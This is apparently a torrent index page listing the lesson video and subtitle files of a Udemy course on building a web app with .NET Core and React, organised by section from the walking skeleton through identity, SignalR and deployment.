Udemy-Complete.guide.to.building.an.app.with.Net.Core.and.React

mp4   Hot:1   Size:31.76 GB   Created:2023-07-01 23:49:46   Update:2023-07-01 23:49:46  

File List

  • 1. Introduction/1. Course introduction.mp4 35.07 MB
    1. Introduction/1. Course introduction.srt 10.01 KB
    1. Introduction/2. Setting up the developer environment.mp4 36.95 MB
    1. Introduction/2. Setting up the developer environment.srt 8.54 KB
    1. Introduction/3. VS Code extensions.mp4 34.13 MB
    1. Introduction/3. VS Code extensions.srt 8.39 KB
    1. Introduction/4. Source code and Resources used on this course.mp4 14.91 MB
    1. Introduction/4. Source code and Resources used on this course.srt 2.86 KB
    1. Introduction/4.1 StudentAssets.zip 1.95 MB
    10. Error handling/1. Introduction.mp4 37.96 MB
    10. Error handling/1. Introduction.srt 10.33 KB
    10. Error handling/10. Using an interceptor to handle API error responses.mp4 32.2 MB
    10. Error handling/10. Using an interceptor to handle API error responses.srt 5.27 KB
    10. Error handling/11. Adding a not found component.mp4 58.37 MB
    10. Error handling/11. Adding a not found component.srt 9.44 KB
    10. Error handling/12. Handling 400 errors.mp4 65.45 MB
    10. Error handling/12. Handling 400 errors.srt 10.15 KB
    10. Error handling/13. Handling 500 errors on the client.mp4 66.72 MB
    10. Error handling/13. Handling 500 errors on the client.srt 10.46 KB
    10. Error handling/14. Handling the validation error from an invalid GUID.mp4 49.58 MB
    10. Error handling/14. Handling the validation error from an invalid GUID.srt 9.18 KB
    10. Error handling/15. Summary of section 10.mp4 29.49 MB
    10. Error handling/15. Summary of section 10.srt 5.92 KB
    10. Error handling/2. Validation with data annotations.mp4 32.25 MB
    10. Error handling/2. Validation with data annotations.srt 6.88 KB
    10. Error handling/3. Fluent Validation.mp4 71.41 MB
    10. Error handling/3. Fluent Validation.srt 11.55 KB
    10. Error handling/4. Handling API Error responses.mp4 44.15 MB
    10. Error handling/4. Handling API Error responses.srt 7.78 KB
    10. Error handling/5. Handling API Error responses part 2.mp4 69.36 MB
    10. Error handling/5. Handling API Error responses part 2.srt 10.98 KB
    10. Error handling/6. Handling API Error responses part 3.mp4 46.13 MB
    10. Error handling/6. Handling API Error responses part 3.srt 6.55 KB
    10. Error handling/7. Handling API Error responses part 4.mp4 62.63 MB
    10. Error handling/7. Handling API Error responses part 4.srt 9.28 KB
    10. Error handling/8. Handling exceptions.mp4 103.97 MB
    10. Error handling/8. Handling exceptions.srt 16.02 KB
    10. Error handling/9. Preparing for setting up error handling in the client app.mp4 67.17 MB
    10. Error handling/9. Preparing for setting up error handling in the client app.srt 10.06 KB
    11. Forms/1. Introduction.mp4 18.6 MB
    11. Forms/1. Introduction.srt 5.28 KB
    11. Forms/10. Using Date-FNS.mp4 60.44 MB
    11. Forms/10. Using Date-FNS.srt 8.24 KB
    11. Forms/11. Hooking up the form submission to Formik.mp4 51.58 MB
    11. Forms/11. Hooking up the form submission to Formik.srt 7.59 KB
    11. Forms/12. Summary of section 11.mp4 18.37 MB
    11. Forms/12. Summary of section 11.srt 3.96 KB
    11. Forms/2. Setting up Formik.mp4 96.91 MB
    11. Forms/2. Setting up Formik.srt 13.04 KB
    11. Forms/3. Formik with less code.mp4 44.42 MB
    11. Forms/3. Formik with less code.srt 5.96 KB
    11. Forms/4. Validation in Formik.mp4 59.84 MB
    11. Forms/4. Validation in Formik.srt 7.64 KB
    11. Forms/5. Creating a reusable text input.mp4 80.58 MB
    11. Forms/5. Creating a reusable text input.srt 12.64 KB
    11. Forms/6. Creating a reusable text area.mp4 13.89 MB
    11. Forms/6. Creating a reusable text area.srt 2.16 KB
    11. Forms/7. Creating a reusable select input.mp4 51.68 MB
    11. Forms/7. Creating a reusable select input.srt 8.73 KB
    11. Forms/8. Creating a reusable date input.mp4 94.08 MB
    11. Forms/8. Creating a reusable date input.srt 13.14 KB
    11. Forms/9. The date strategy.mp4 60.58 MB
    11. Forms/9. The date strategy.srt 8.53 KB
    12. Identity/1. Introduction.mp4 49.59 MB
    12. Identity/1. Introduction.srt 12.34 KB
    12. Identity/10. Authenticating to the app.mp4 61.35 MB
    12. Identity/10. Authenticating to the app.srt 9.82 KB
    12. Identity/11. Storing secrets in development.mp4 50.7 MB
    12. Identity/11. Storing secrets in development.srt 8.3 KB
    12. Identity/12. Creating an auth policy.mp4 26.8 MB
    12. Identity/12. Creating an auth policy.srt 3.51 KB
    12. Identity/13. Registering new users.mp4 35.74 MB
    12. Identity/13. Registering new users.srt 5.63 KB
    12. Identity/14. Validating the registration of users.mp4 26.27 MB
    12. Identity/14. Validating the registration of users.srt 5.13 KB
    12. Identity/15. Getting the current user.mp4 41.38 MB
    12. Identity/15. Getting the current user.srt 6.42 KB
    12. Identity/16. Summary of section 12.mp4 32.51 MB
    12. Identity/16. Summary of section 12.srt 6.12 KB
    12. Identity/2. Adding a user entity.mp4 30.1 MB
    12. Identity/2. Adding a user entity.srt 7.2 KB
    12. Identity/3. Adding an IdentityDbContext.mp4 28.44 MB
    12. Identity/3. Adding an IdentityDbContext.srt 4.45 KB
    12. Identity/4. Configuring Identity in the Startup class.mp4 38.17 MB
    12. Identity/4. Configuring Identity in the Startup class.srt 6.24 KB
    12. Identity/5. Adding seed users.mp4 51.23 MB
    12. Identity/5. Adding seed users.srt 8.05 KB
    12. Identity/6. Creating the user DTOs.mp4 24.36 MB
    12. Identity/6. Creating the user DTOs.srt 6 KB
    12. Identity/7. Adding an account controller.mp4 62.56 MB
    12. Identity/7. Adding an account controller.srt 11.37 KB
    12. Identity/8. JSON Web Tokens.mp4 27.26 MB
    12. Identity/8. JSON Web Tokens.srt 9.79 KB
    12. Identity/9. Creating a token service.mp4 80.46 MB
    12. Identity/9. Creating a token service.srt 13.4 KB
    13. Client side login and registration/1. Introduction.mp4 15.06 MB
    13. Client side login and registration/1. Introduction.srt 3.73 KB
    13. Client side login and registration/10. Adding Modals.mp4 62.63 MB
    13. Client side login and registration/10. Adding Modals.srt 11.31 KB
    13. Client side login and registration/11. Adding the register form.mp4 58.43 MB
    13. Client side login and registration/11. Adding the register form.srt 8.93 KB
    13. Client side login and registration/12. Handling validation errors in the register form.mp4 75.84 MB
    13. Client side login and registration/12. Handling validation errors in the register form.srt 11.59 KB
    13. Client side login and registration/13. Summary of section 13.mp4 30.42 MB
    13. Client side login and registration/13. Summary of section 13.srt 5.66 KB
    13. Client side login and registration/2. Creating a login form.mp4 40.83 MB
    13. Client side login and registration/2. Creating a login form.srt 8.15 KB
    13. Client side login and registration/3. Creating the interfaces and methods.mp4 29.03 MB
    13. Client side login and registration/3. Creating the interfaces and methods.srt 4.65 KB
    13. Client side login and registration/4. Creating a user store.mp4 34.61 MB
    13. Client side login and registration/4. Creating a user store.srt 6.23 KB
    13. Client side login and registration/5. Displaying errors in the form.mp4 28.4 MB
    13. Client side login and registration/5. Displaying errors in the form.srt 4.41 KB
    13. Client side login and registration/6. Setting the token upon login.mp4 30.46 MB
    13. Client side login and registration/6. Setting the token upon login.srt 5.65 KB
    13. Client side login and registration/7. Updating the home page and nav bar.mp4 65.3 MB
    13. Client side login and registration/7. Updating the home page and nav bar.srt 10.78 KB
    13. Client side login and registration/8. Persisting the login.mp4 54.91 MB
    13. Client side login and registration/8. Persisting the login.srt 8.78 KB
    13. Client side login and registration/9. Sending up the token with the request.mp4 26.26 MB
    13. Client side login and registration/9. Sending up the token with the request.srt 4.41 KB
    14. Entity Framework Relationships/1. Introduction.mp4 41.16 MB
    14. Entity Framework Relationships/1. Introduction.srt 13.09 KB
    14. Entity Framework Relationships/10. Adding a custom auth policy.mp4 90.65 MB
    14. Entity Framework Relationships/10. Adding a custom auth policy.srt 13.06 KB
    14. Entity Framework Relationships/11. Resolving the bug with with the edit handler.mp4 47.61 MB
    14. Entity Framework Relationships/11. Resolving the bug with with the edit handler.srt 7.73 KB
    14. Entity Framework Relationships/12. Updating the seed data.mp4 36.01 MB
    14. Entity Framework Relationships/12. Updating the seed data.srt 4.23 KB
    14. Entity Framework Relationships/13. Summary of section 14.mp4 15.59 MB
    14. Entity Framework Relationships/13. Summary of section 14.srt 3.42 KB
    14. Entity Framework Relationships/2. Configuring the new relationship.mp4 70.35 MB
    14. Entity Framework Relationships/2. Configuring the new relationship.srt 12.5 KB
    14. Entity Framework Relationships/3. Adding an infrastructure project.mp4 50.8 MB
    14. Entity Framework Relationships/3. Adding an infrastructure project.srt 9.42 KB
    14. Entity Framework Relationships/4. Updating the create activity handler.mp4 23.92 MB
    14. Entity Framework Relationships/4. Updating the create activity handler.srt 3.22 KB
    14. Entity Framework Relationships/5. Testing the create activity.mp4 59.44 MB
    14. Entity Framework Relationships/5. Testing the create activity.srt 9.37 KB
    14. Entity Framework Relationships/6. Loading related data.mp4 44.61 MB
    14. Entity Framework Relationships/6. Loading related data.srt 6.69 KB
    14. Entity Framework Relationships/7. Shaping the related data.mp4 56.28 MB
    14. Entity Framework Relationships/7. Shaping the related data.srt 8.26 KB
    14. Entity Framework Relationships/8. Configuring AutoMapper profiles.mp4 94.19 MB
    14. Entity Framework Relationships/8. Configuring AutoMapper profiles.srt 13.47 KB
    14. Entity Framework Relationships/9. Adding the attendance handler.mp4 119.19 MB
    14. Entity Framework Relationships/9. Adding the attendance handler.srt 16.96 KB
    15. Feature - Client side attendance/1. Introduction.mp4 15.84 MB
    15. Feature - Client side attendance/1. Introduction.srt 3.24 KB
    15. Feature - Client side attendance/2. Adding the attendees component.mp4 48.7 MB
    15. Feature - Client side attendance/2. Adding the attendees component.srt 9.45 KB
    15. Feature - Client side attendance/3. Updating the details component.mp4 34.76 MB
    15. Feature - Client side attendance/3. Updating the details component.srt 4.92 KB
    15. Feature - Client side attendance/4. Conditionally rendering the buttons.mp4 95.84 MB
    15. Feature - Client side attendance/4. Conditionally rendering the buttons.srt 13.86 KB
    15. Feature - Client side attendance/5. Adding the store methods to attend.mp4 83.81 MB
    15. Feature - Client side attendance/5. Adding the store methods to attend.srt 13.04 KB
    15. Feature - Client side attendance/6. Updating the create and edit methods.mp4 119.45 MB
    15. Feature - Client side attendance/6. Updating the create and edit methods.srt 18.5 KB
    15. Feature - Client side attendance/7. Adding a cancel activity method.mp4 66.47 MB
    15. Feature - Client side attendance/7. Adding a cancel activity method.srt 9.75 KB
    15. Feature - Client side attendance/8. Adding a popover for attendees.mp4 49.39 MB
    15. Feature - Client side attendance/8. Adding a popover for attendees.srt 7.08 KB
    15. Feature - Client side attendance/9. Summary of section 15.mp4 4.54 MB
    15. Feature - Client side attendance/9. Summary of section 15.srt 1.16 KB
    16. API Image upload/1. Introduction.mp4 24.18 MB
    16. API Image upload/1. Introduction.srt 8.28 KB
    16. API Image upload/10. Returning user profiles.mp4 49.38 MB
    16. API Image upload/10. Returning user profiles.srt 8.8 KB
    16. API Image upload/11. Updating the mapping configuration.mp4 41.13 MB
    16. API Image upload/11. Updating the mapping configuration.srt 7.52 KB
    16. API Image upload/12. Returning an attendee DTO.mp4 63.9 MB
    16. API Image upload/12. Returning an attendee DTO.srt 8.96 KB
    16. API Image upload/13. Summary of section 16.mp4 16.58 MB
    16. API Image upload/13. Summary of section 16.srt 3.09 KB
    16. API Image upload/2. Adding Cloudinary.mp4 60.6 MB
    16. API Image upload/2. Adding Cloudinary.srt 10.48 KB
    16. API Image upload/3. Adding the Cloudinary interfaces.mp4 23.48 MB
    16. API Image upload/3. Adding the Cloudinary interfaces.srt 4.27 KB
    16. API Image upload/4. Adding the add photo logic.mp4 61.53 MB
    16. API Image upload/4. Adding the add photo logic.srt 10.15 KB
    16. API Image upload/5. Adding the Photo entity.mp4 25.84 MB
    16. API Image upload/5. Adding the Photo entity.srt 4.5 KB
    16. API Image upload/6. Adding the Add photo handler.mp4 43.9 MB
    16. API Image upload/6. Adding the Add photo handler.srt 7.74 KB
    16. API Image upload/7. Adding a photos controller.mp4 27.64 MB
    16. API Image upload/7. Adding a photos controller.srt 5.86 KB
    16. API Image upload/8. Deleting photos.mp4 72.39 MB
    16. API Image upload/8. Deleting photos.srt 12 KB
    16. API Image upload/9. Setting the main photo.mp4 49.38 MB
    16. API Image upload/9. Setting the main photo.srt 7.88 KB
    17. Client image upload/1. Introduction.mp4 17.35 MB
    17. Client image upload/1. Introduction.srt 3.76 KB
    17. Client image upload/10. Adding a Dropzone.mp4 32.13 MB
    17. Client image upload/10. Adding a Dropzone.srt 5.91 KB
    17. Client image upload/11. Styling the Dropzone.mp4 78.69 MB
    17. Client image upload/11. Styling the Dropzone.srt 12.79 KB
    17. Client image upload/12. Adding a react cropper.mp4 118.16 MB
    17. Client image upload/12. Adding a react cropper.srt 18.78 KB
    17. Client image upload/13. Adding the photo upload method.mp4 96.85 MB
    17. Client image upload/13. Adding the photo upload method.srt 13.48 KB
    17. Client image upload/14. Setting the main photo.mp4 71.38 MB
    17. Client image upload/14. Setting the main photo.srt 10.26 KB
    17. Client image upload/15. Deleting photos.mp4 54.99 MB
    17. Client image upload/15. Deleting photos.srt 8.37 KB
    17. Client image upload/16. Summary of section 17.mp4 18.62 MB
    17. Client image upload/16. Summary of section 17.srt 2.95 KB
    17. Client image upload/2. Creating a profile page.mp4 33.33 MB
    17. Client image upload/2. Creating a profile page.srt 5.56 KB
    17. Client image upload/3. Adding a profile header.mp4 41.85 MB
    17. Client image upload/3. Adding a profile header.srt 7.38 KB
    17. Client image upload/4. Adding the profile content.mp4 21.72 MB
    17. Client image upload/4. Adding the profile content.srt 4.42 KB
    17. Client image upload/5. Getting the profile data.mp4 40.49 MB
    17. Client image upload/5. Getting the profile data.srt 6.03 KB
    17. Client image upload/6. Getting the profile data part 2.mp4 34.87 MB
    17. Client image upload/6. Getting the profile data part 2.srt 5.99 KB
    17. Client image upload/7. Displaying the photos.mp4 43.23 MB
    17. Client image upload/7. Displaying the photos.srt 7.14 KB
    17. Client image upload/8. Conditionally rendering the photo widget.mp4 46.76 MB
    17. Client image upload/8. Conditionally rendering the photo widget.srt 7.86 KB
    17. Client image upload/9. Creating a photo upload widget.mp4 21.12 MB
    17. Client image upload/9. Creating a photo upload widget.srt 4.17 KB
    18. Challenge/1. Challenge introduction.mp4 23.5 MB
    18. Challenge/1. Challenge introduction.srt 5.09 KB
    19. SignalR/1. Introduction.mp4 27.64 MB
    19. SignalR/1. Introduction.srt 9.5 KB
    19. SignalR/10. Sending comments.mp4 60.43 MB
    19. SignalR/10. Sending comments.srt 9.06 KB
    19. SignalR/11. Adding validation and fix issues.mp4 48 MB
    19. SignalR/11. Adding validation and fix issues.srt 6.47 KB
    19. SignalR/12. Resolving UTC dates.mp4 98.69 MB
    19. SignalR/12. Resolving UTC dates.srt 14.79 KB
    19. SignalR/13. Summary of section 19.mp4 26.83 MB
    19. SignalR/13. Summary of section 19.srt 4.9 KB
    19. SignalR/2. Setting up the comment entity.mp4 47.25 MB
    19. SignalR/2. Setting up the comment entity.srt 8.39 KB
    19. SignalR/3. Adding a comment DTO and mapping.mp4 24.94 MB
    19. SignalR/3. Adding a comment DTO and mapping.srt 3.61 KB
    19. SignalR/4. Adding the create handler.mp4 46.47 MB
    19. SignalR/4. Adding the create handler.srt 7.31 KB
    19. SignalR/5. Adding a list handler.mp4 29.42 MB
    19. SignalR/5. Adding a list handler.srt 5.18 KB
    19. SignalR/6. Adding a SignalR Hub.mp4 59.52 MB
    19. SignalR/6. Adding a SignalR Hub.srt 12.4 KB
    19. SignalR/7. Authenticating to SignalR.mp4 28.74 MB
    19. SignalR/7. Authenticating to SignalR.srt 3.95 KB
    19. SignalR/8. Adding SignalR to the client.mp4 66.87 MB
    19. SignalR/8. Adding SignalR to the client.srt 12.37 KB
    19. SignalR/9. Connecting to the hub.mp4 67.79 MB
    19. SignalR/9. Connecting to the hub.srt 9.57 KB
    2. Walking Skeleton Part 1 - API/1. Introduction.mp4 36.46 MB
    2. Walking Skeleton Part 1 - API/1. Introduction.srt 11.41 KB
    2. Walking Skeleton Part 1 - API/10. Adding an API controller.mp4 67.31 MB
    2. Walking Skeleton Part 1 - API/10. Adding an API controller.srt 13.89 KB
    2. Walking Skeleton Part 1 - API/11. Saving changes into source control.mp4 49.34 MB
    2. Walking Skeleton Part 1 - API/11. Saving changes into source control.srt 10.56 KB
    2. Walking Skeleton Part 1 - API/12. Summary of Section 2.mp4 52.47 MB
    2. Walking Skeleton Part 1 - API/12. Summary of Section 2.srt 11.05 KB
    2. Walking Skeleton Part 1 - API/2. Creating the .Net projects and references.mp4 49.84 MB
    2. Walking Skeleton Part 1 - API/2. Creating the .Net projects and references.srt 13.75 KB
    2. Walking Skeleton Part 1 - API/3. Reviewing the project files and startup.mp4 76.85 MB
    2. Walking Skeleton Part 1 - API/3. Reviewing the project files and startup.srt 16.63 KB
    2. Walking Skeleton Part 1 - API/4. The API controller and using postman.mp4 42.43 MB
    2. Walking Skeleton Part 1 - API/4. The API controller and using postman.srt 7.88 KB
    2. Walking Skeleton Part 1 - API/5. Creating a domain entity.mp4 24.29 MB
    2. Walking Skeleton Part 1 - API/5. Creating a domain entity.srt 6.52 KB
    2. Walking Skeleton Part 1 - API/6. Adding an Entity Framework Db Context.mp4 92.64 MB
    2. Walking Skeleton Part 1 - API/6. Adding an Entity Framework Db Context.srt 17.89 KB
    2. Walking Skeleton Part 1 - API/7. Creating an Entity Framework code first migration.mp4 55.4 MB
    2. Walking Skeleton Part 1 - API/7. Creating an Entity Framework code first migration.srt 11.02 KB
    2. Walking Skeleton Part 1 - API/8. Creating the database.mp4 61.76 MB
    2. Walking Skeleton Part 1 - API/8. Creating the database.srt 10.35 KB
    2. Walking Skeleton Part 1 - API/9. Seeding data to the Database.mp4 60.53 MB
    2. Walking Skeleton Part 1 - API/9. Seeding data to the Database.srt 9.95 KB
    20. Followers Following feature/1. Introduction.mp4 22.19 MB
    20. Followers Following feature/1. Introduction.srt 4.8 KB
    20. Followers Following feature/10. Adding methods to follow and unfollow.mp4 98.15 MB
    20. Followers Following feature/10. Adding methods to follow and unfollow.srt 14.75 KB
    20. Followers Following feature/11. Making the follow button a component.mp4 69.35 MB
    20. Followers Following feature/11. Making the follow button a component.srt 11.53 KB
    20. Followers Following feature/12. Getting a list of followings.mp4 81.87 MB
    20. Followers Following feature/12. Getting a list of followings.srt 12.21 KB
    20. Followers Following feature/13. Using MobX Reactions.mp4 110.45 MB
    20. Followers Following feature/13. Using MobX Reactions.srt 17.39 KB
    20. Followers Following feature/14. Summary of section 20.mp4 11.12 MB
    20. Followers Following feature/14. Summary of section 20.srt 2.02 KB
    20. Followers Following feature/2. Adding a join entity.mp4 49.42 MB
    20. Followers Following feature/2. Adding a join entity.srt 7.8 KB
    20. Followers Following feature/3. Adding a handler for following.mp4 46.59 MB
    20. Followers Following feature/3. Adding a handler for following.srt 7.93 KB
    20. Followers Following feature/4. Adding the controller.mp4 29.38 MB
    20. Followers Following feature/4. Adding the controller.srt 5.54 KB
    20. Followers Following feature/5. Update the profile class.mp4 22.33 MB
    20. Followers Following feature/5. Update the profile class.srt 3.44 KB
    20. Followers Following feature/6. Return a list of followers.mp4 91.02 MB
    20. Followers Following feature/6. Return a list of followers.srt 14.96 KB
    20. Followers Following feature/7. Adding the following property to the mapping configuration.mp4 45.67 MB
    20. Followers Following feature/7. Adding the following property to the mapping configuration.srt 5.56 KB
    20. Followers Following feature/8. Updating the other handlers with the following property.mp4 74.05 MB
    20. Followers Following feature/8. Updating the other handlers with the following property.srt 10.12 KB
    20. Followers Following feature/9. Adding the UI for followers.mp4 46.33 MB
    20. Followers Following feature/9. Adding the UI for followers.srt 6.64 KB
    21. Paging, Sorting and Filtering/1. Introduction.mp4 27.07 MB
    21. Paging, Sorting and Filtering/1. Introduction.srt 6.91 KB
    21. Paging, Sorting and Filtering/10. Client side filtering.mp4 79.77 MB
    21. Paging, Sorting and Filtering/10. Client side filtering.srt 11.37 KB
    21. Paging, Sorting and Filtering/11. Updating the filter component.mp4 33.98 MB
    21. Paging, Sorting and Filtering/11. Updating the filter component.srt 5.25 KB
    21. Paging, Sorting and Filtering/12. Adding placeholders.mp4 35.06 MB
    21. Paging, Sorting and Filtering/12. Adding placeholders.srt 5.77 KB
    21. Paging, Sorting and Filtering/13. Adding a user profile activities component + challenge.mp4 37.78 MB
    21. Paging, Sorting and Filtering/13. Adding a user profile activities component + challenge.srt 8.25 KB
    21. Paging, Sorting and Filtering/14. Challenge solution.mp4 107.12 MB
    21. Paging, Sorting and Filtering/14. Challenge solution.srt 16.58 KB
    21. Paging, Sorting and Filtering/15. Summary of section 21.mp4 10 MB
    21. Paging, Sorting and Filtering/15. Summary of section 21.srt 1.93 KB
    21. Paging, Sorting and Filtering/2. Adding a PagedList class.mp4 58.32 MB
    21. Paging, Sorting and Filtering/2. Adding a PagedList class.srt 10.72 KB
    21. Paging, Sorting and Filtering/3. Adding application layer pagination logic.mp4 55.62 MB
    21. Paging, Sorting and Filtering/3. Adding application layer pagination logic.srt 10.48 KB
    21. Paging, Sorting and Filtering/4. Adding a pagination header.mp4 75.98 MB
    21. Paging, Sorting and Filtering/4. Adding a pagination header.srt 12.22 KB
    21. Paging, Sorting and Filtering/5. Adding client side pagination.mp4 72.02 MB
    21. Paging, Sorting and Filtering/5. Adding client side pagination.srt 10.3 KB
    21. Paging, Sorting and Filtering/6. Adding pagination parameters.mp4 55.05 MB
    21. Paging, Sorting and Filtering/6. Adding pagination parameters.srt 7.33 KB
    21. Paging, Sorting and Filtering/7. Adding vertical paging.mp4 57.83 MB
    21. Paging, Sorting and Filtering/7. Adding vertical paging.srt 8.72 KB
    21. Paging, Sorting and Filtering/8. Adding infinite scrolling.mp4 44.4 MB
    21. Paging, Sorting and Filtering/8. Adding infinite scrolling.srt 7.04 KB
    21. Paging, Sorting and Filtering/9. Adding filtering in the API.mp4 58.65 MB
    21. Paging, Sorting and Filtering/9. Adding filtering in the API.srt 9.86 KB
    22. Finishing touches and publishing/1. Introduction.mp4 19.45 MB
    22. Finishing touches and publishing/1. Introduction.srt 4.38 KB
    22. Finishing touches and publishing/10. Deploying the app to Heroku.mp4 83.88 MB
    22. Finishing touches and publishing/10. Deploying the app to Heroku.srt 13.94 KB
    22. Finishing touches and publishing/11. Security tightening.mp4 75.39 MB
    22. Finishing touches and publishing/11. Security tightening.srt 12.06 KB
    22. Finishing touches and publishing/12. Content security policies.mp4 115.41 MB
    22. Finishing touches and publishing/12. Content security policies.srt 16.14 KB
    22. Finishing touches and publishing/13. End of course summary.mp4 29.61 MB
    22. Finishing touches and publishing/13. End of course summary.srt 6.36 KB
    22. Finishing touches and publishing/2. Adding Scroll to top for our routes.mp4 26.12 MB
    22. Finishing touches and publishing/2. Adding Scroll to top for our routes.srt 4.45 KB
    22. Finishing touches and publishing/3. Adding private routes.mp4 48.64 MB
    22. Finishing touches and publishing/3. Adding private routes.srt 9.84 KB
    22. Finishing touches and publishing/4. Prepping the client app for production.mp4 57.12 MB
    22. Finishing touches and publishing/4. Prepping the client app for production.srt 9.09 KB
    22. Finishing touches and publishing/5. Building the production build of the react app.mp4 56.42 MB
    22. Finishing touches and publishing/5. Building the production build of the react app.srt 9.73 KB
    22. Finishing touches and publishing/6. Running the client app on the dotnet Kestrel server.mp4 47.2 MB
    22. Finishing touches and publishing/6. Running the client app on the dotnet Kestrel server.srt 8.29 KB
    22. Finishing touches and publishing/7. Adding PostGresQL.mp4 25.61 MB
    22. Finishing touches and publishing/7. Adding PostGresQL.srt 5.93 KB
    22. Finishing touches and publishing/8. Switching to PostGresQL.mp4 91.67 MB
    22. Finishing touches and publishing/8. Switching to PostGresQL.srt 15.39 KB
    22. Finishing touches and publishing/9. Setting up Heroku.mp4 64.89 MB
    22. Finishing touches and publishing/9. Setting up Heroku.srt 12.88 KB
    23. Bonus section - Identity Cookbook/1. Introduction.mp4 16.42 MB
    23. Bonus section - Identity Cookbook/1. Introduction.srt 5.37 KB
    23. Bonus section - Identity Cookbook/10. Adding the Refresh token domain entity.mp4 40.24 MB
    23. Bonus section - Identity Cookbook/10. Adding the Refresh token domain entity.srt 7.26 KB
    23. Bonus section - Identity Cookbook/11. Updating the JWT token parameters.mp4 27.25 MB
    23. Bonus section - Identity Cookbook/11. Updating the JWT token parameters.srt 4.02 KB
    23. Bonus section - Identity Cookbook/12. Updating the account controller.mp4 86.45 MB
    23. Bonus section - Identity Cookbook/12. Updating the account controller.srt 10.82 KB
    23. Bonus section - Identity Cookbook/13. Testing in Postman.mp4 33.47 MB
    23. Bonus section - Identity Cookbook/13. Testing in Postman.srt 6.09 KB
    23. Bonus section - Identity Cookbook/14. Client side configuration.mp4 92.46 MB
    23. Bonus section - Identity Cookbook/14. Client side configuration.srt 12.23 KB
    23. Bonus section - Identity Cookbook/15. Testing the refresh token in the client.mp4 50.68 MB
    23. Bonus section - Identity Cookbook/15. Testing the refresh token in the client.srt 8.11 KB
    23. Bonus section - Identity Cookbook/16. Redeploying the app to Heroku.mp4 52.85 MB
    23. Bonus section - Identity Cookbook/16. Redeploying the app to Heroku.srt 8.03 KB
    23. Bonus section - Identity Cookbook/17. Introduction to Email verification.mp4 9.39 MB
    23. Bonus section - Identity Cookbook/17. Introduction to Email verification.srt 3.87 KB
    23. Bonus section - Identity Cookbook/18. Setting up SendGrid.mp4 61.4 MB
    23. Bonus section - Identity Cookbook/18. Setting up SendGrid.srt 12.78 KB
    23. Bonus section - Identity Cookbook/19. Require a confirmed email to sign in.mp4 41.6 MB
    23. Bonus section - Identity Cookbook/19. Require a confirmed email to sign in.srt 5.78 KB
    23. Bonus section - Identity Cookbook/2. Setting up Facebook login.mp4 39.36 MB
    23. Bonus section - Identity Cookbook/2. Setting up Facebook login.srt 7.47 KB
    23. Bonus section - Identity Cookbook/20. Updating the register method.mp4 74.13 MB
    23. Bonus section - Identity Cookbook/20. Updating the register method.srt 9.03 KB
    23. Bonus section - Identity Cookbook/21. Adding the confirm email endpoint.mp4 57.93 MB
    23. Bonus section - Identity Cookbook/21. Adding the confirm email endpoint.srt 5.99 KB
    23. Bonus section - Identity Cookbook/22. Testing in Postman.mp4 33.79 MB
    23. Bonus section - Identity Cookbook/22. Testing in Postman.srt 4.82 KB
    23. Bonus section - Identity Cookbook/23. Setting up the client for email confirmation.mp4 86.95 MB
    23. Bonus section - Identity Cookbook/23. Setting up the client for email confirmation.srt 10.92 KB
    23. Bonus section - Identity Cookbook/24. Adding a verify email component.mp4 70.62 MB
    23. Bonus section - Identity Cookbook/24. Adding a verify email component.srt 9.55 KB
    23. Bonus section - Identity Cookbook/25. Finishing up and testing.mp4 39.71 MB
    23. Bonus section - Identity Cookbook/25. Finishing up and testing.srt 6.4 KB
    23. Bonus section - Identity Cookbook/26. Redeploying the app to Heroku.mp4 56.83 MB
    23. Bonus section - Identity Cookbook/26. Redeploying the app to Heroku.srt 9.74 KB
    23. Bonus section - Identity Cookbook/3. Connecting Heroku to GitHub.mp4 13.7 MB
    23. Bonus section - Identity Cookbook/3. Connecting Heroku to GitHub.srt 2.88 KB
    23. Bonus section - Identity Cookbook/4. Adding the Facebook JS SDK.mp4 76.82 MB
    23. Bonus section - Identity Cookbook/4. Adding the Facebook JS SDK.srt 12.99 KB
    23. Bonus section - Identity Cookbook/5. Configuring the API endpoint.mp4 95.44 MB
    23. Bonus section - Identity Cookbook/5. Configuring the API endpoint.srt 12.96 KB
    23. Bonus section - Identity Cookbook/6. Debugging the Facebook info.mp4 123.08 MB
    23. Bonus section - Identity Cookbook/6. Debugging the Facebook info.srt 15.67 KB
    23. Bonus section - Identity Cookbook/7. Facebook login finishing touches.mp4 66.73 MB
    23. Bonus section - Identity Cookbook/7. Facebook login finishing touches.srt 9.48 KB
    23. Bonus section - Identity Cookbook/8. Redeploying the app to Heroku.mp4 101.32 MB
    23. Bonus section - Identity Cookbook/8. Redeploying the app to Heroku.srt 15.15 KB
    23. Bonus section - Identity Cookbook/9. Introduction to Refresh Tokens.mp4 9.25 MB
    23. Bonus section - Identity Cookbook/9. Introduction to Refresh Tokens.srt 4.46 KB
    24. Introduction (Legacy)/1. Course Introduction.mp4 58.03 MB
    24. Introduction (Legacy)/1. Course Introduction.srt 8.57 KB
    24. Introduction (Legacy)/2. Setting up the dev environment.mp4 52.32 MB
    24. Introduction (Legacy)/2. Setting up the dev environment.srt 10.08 KB
    24. Introduction (Legacy)/3. Visual Studio Code extensions.mp4 59.7 MB
    24. Introduction (Legacy)/3. Visual Studio Code extensions.srt 10.79 KB
    24. Introduction (Legacy)/4. Source code and resources for this course.mp4 21.55 MB
    24. Introduction (Legacy)/4. Source code and resources for this course.srt 3.64 KB
    24. Introduction (Legacy)/4.1 Instructions for running the source code.txt 2.86 KB
    24. Introduction (Legacy)/4.2 Course Assets.zip 22.85 MB
    25. Walking Skeleton Part 1 - API (Legacy)/1. Section 2 introduction.mp4 43.11 MB
    25. Walking Skeleton Part 1 - API (Legacy)/1. Section 2 introduction.srt 7.96 KB
    25. Walking Skeleton Part 1 - API (Legacy)/10. Seeding data using Entity Framework fluent configuration.mp4 35.8 MB
    25. Walking Skeleton Part 1 - API (Legacy)/10. Seeding data using Entity Framework fluent configuration.srt 5.97 KB
    25. Walking Skeleton Part 1 - API (Legacy)/11. Using Dependancy Injection.mp4 60.16 MB
    25. Walking Skeleton Part 1 - API (Legacy)/11. Using Dependancy Injection.srt 10.36 KB
    25. Walking Skeleton Part 1 - API (Legacy)/12. Introduction to Postman.mp4 16.95 MB
    25. Walking Skeleton Part 1 - API (Legacy)/12. Introduction to Postman.srt 3.85 KB
    25. Walking Skeleton Part 1 - API (Legacy)/13. Saving our changes into Source control using Git.mp4 54.87 MB
    25. Walking Skeleton Part 1 - API (Legacy)/13. Saving our changes into Source control using Git.srt 9.16 KB
    25. Walking Skeleton Part 1 - API (Legacy)/14. Section 2 summary.mp4 45.56 MB
